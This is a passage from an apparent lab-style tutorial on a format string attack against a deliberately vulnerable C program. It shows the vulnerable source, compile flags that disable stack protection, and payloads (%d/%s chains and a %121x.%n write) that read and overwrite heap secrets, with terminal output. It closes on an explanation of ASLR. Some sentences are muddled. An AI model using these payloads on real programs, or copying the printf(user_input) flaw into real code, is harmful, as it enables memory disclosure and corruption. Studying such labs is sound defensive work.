Program received signal SIGSEGV, Segmentation fault.
0x4d4d5544 in ?? ()
(gdb)
```

And we successfully got a shell.

4. Format String Attacks

Source code vulnerability analysis

The format string vulnerability is caused by code like printf(user_input), where the contents of the user_input variable are provided by the user. The program gets two input values from the user, one of which is an integer and the other, is a string. The program has two secret values in its memory. However, we cannot find these two values in the binary code. Although we don't know the secret values, in practice, it is not difficult to find their memory addresses (range or exact address) (their addresses are contiguous), because for many operating systems, the program address is completely run at any time. the same. For our analysis purposes, we will print out the addresses of the variables that are used in the program. The same can be analyzed from GDB as well.

The following is the stack frame layout for the main method:

```
main argv[n]
...
main argv[0]
main argc
--------------------
return address
user_input[100]
...
user_input[0]
secret
int_input
a
b
c
d
--------------------
(future)
```

The following is the slightly modified program for analysis purposes:

```
#include <stdio.h>
#include <stdlib.h>

#define SECRET1 0x44
#define SECRET2 0x55

int main(int argc, char *argv[])
{
  char user_input[100];
  int *secret;
  int int_input;
  int a, b, c, d; /* other variables, not used here.*/
```

```
  /* The secret value is stored on the heap */
  secret = (int *) malloc(2*sizeof(int));

  /* getting the secret */
  secret[0] = SECRET1; secret[1] = SECRET2;

  printf("The variable secret's address is 0x%8x (on stack)\n",
&secret);
  printf("The variable secret's value is 0x%8x (on heap)\n",
secret);
  printf("secret[0]'s address is 0x%8x (on heap)\n", &secret[0]);
  printf("secret[1]'s address is 0x%8x (on heap)\n", &secret[1]);

  printf("Please enter a decimal integer\n");
  scanf("%d", &int_input);  /* getting an input from user */
  printf("Please enter a string\n");
  scanf("%s", user_input); /* getting a string from user */

  printf(user_input);
  printf("\n");

  /* Verify whether your attack is successful */
  printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
  printf("The new secrets:      0x%x -- 0x%x\n", secret[0],
secret[1]);
  return 0;
}
```

We first open the address randomization: **sysctl -w kernel.randomize_va_space=2**

Let’s call this program **target4** and compile the code and generate debugging information using the following command:

$ gcc -fno-stack-protector -ggdb -Wall -o target4 target4.c

We can see from the code that the user_input size is 100, so a segmentation error occurs when the number of bytes of input string exceeds this size.

$ perl -e 'print "12" . "\n" . "A"x1200 . "\n"' | ./target4

This input method is equivalent to executing the program and then inputting 12 (the first integer required to be entered) -> carriage return line feed -> input 1200 A (to make the program crash) -> carriage return.

```
$ perl -e 'print "12" . "\n" . "A"x1200 . "\n"' | ./target4
The variable secret's address is 0xbf86b020 (on stack)
The variable secret's value is 0x8301008 (on heap)
secret[0]'s address is 0x8301008 (on heap)
secret[1]'s address is 0x830100c (on heap)
Please enter a decimal integer
Please enter a string
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
Segmentation fault(core dumped)
```

The next step is to read from any location in the memory and find where the int_input is present in the stack.

```
$ target4
The variable secret's address is 0xbfc76870 (on stack)
The variable secret's value is 0x9435008 (on heap)
secret[0]'s address is 0x9435008 (on heap)
secret[1]'s address is 0x943500c (on heap)
Please enter a decimal integer
123456
Please enter a string
%d.%d.%d.%d.%d.%d.%d.%d.%d.%d.%d.%d.%d.%d
-1077450632.1.-1218608375.-1077450593.-1077450594.0.-1077450364.155406344.123456.623797285
.1680158308.778315054.623797285.1680158308
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
```

Run the program first, read the address of secret[1] to 0x899c00c, convert it to decimal, and use %s to read the contents of the address as a string.

```
(gdb) print 0x899c00c
$1 = 144293900
(gdb) exit
$ target4
The variable secret's address is 0xbfdc7750 (on stack)
The variable secret's value is 0x899c008 (on heap)
secret[0]'s address is 0x899c008 (on heap)
secret[1]'s address is 0x899c00c (on heap)
Please enter a decimal integer
144293900
Please enter a string
%d.%d.%d.%d.%d.%d.%d.%d.%s
-1077450632.1.-1218608375.-1077450593.-1077450594.0.-1077450364.155406344.U
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0x55
```

U's ASCII code is 85, which translates to hexadecimal 0x55, so the U we read is the result of converting the contents of secret1 into a string.

To modify the value of secret[1], replace %s with %n to output the number of bytes that have been output and change the value of secret[1] to a preset value of 0xab.

Calculation: 0xab - (0x3a - 0x08)

```
$ target4
The variable secret's address is 0xbfe10160 (on stack)
The variable secret's value is 0x83aa008 (on heap)
secret[0]'s address is 0x83aa008 (on heap)
secret[1]'s address is 0x83aa00c (on heap)
Please enter a decimal integer
138059788
Please enter a string
%x.%x.%x.%x.%x.%x.%x.%121x.%n
bfe10168.1.b769d309.bfe1018f.bfe1018e.0.bfe10274.83aa008.
The original secrets: 0x44 -- 0x55
The new secrets: 0x44 -- 0xab
```

The modification was successful, and the method of modifying to other values is similar.

Address space layout randomization (ASLR) is a memory-protection process for operating systems (OSes) that guards against buffer-overflow attacks by randomizing the location where system executables are loaded into memory.

In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

The following are the different operating systems where the ASLR is implemented:

- Android
- DragonFly BSD
- FreeBSD
- iOS
- Linux
- Microsoft Windows (after Windows Vista)
- NetBSD
- OpenBSD
- macOS
- Solaris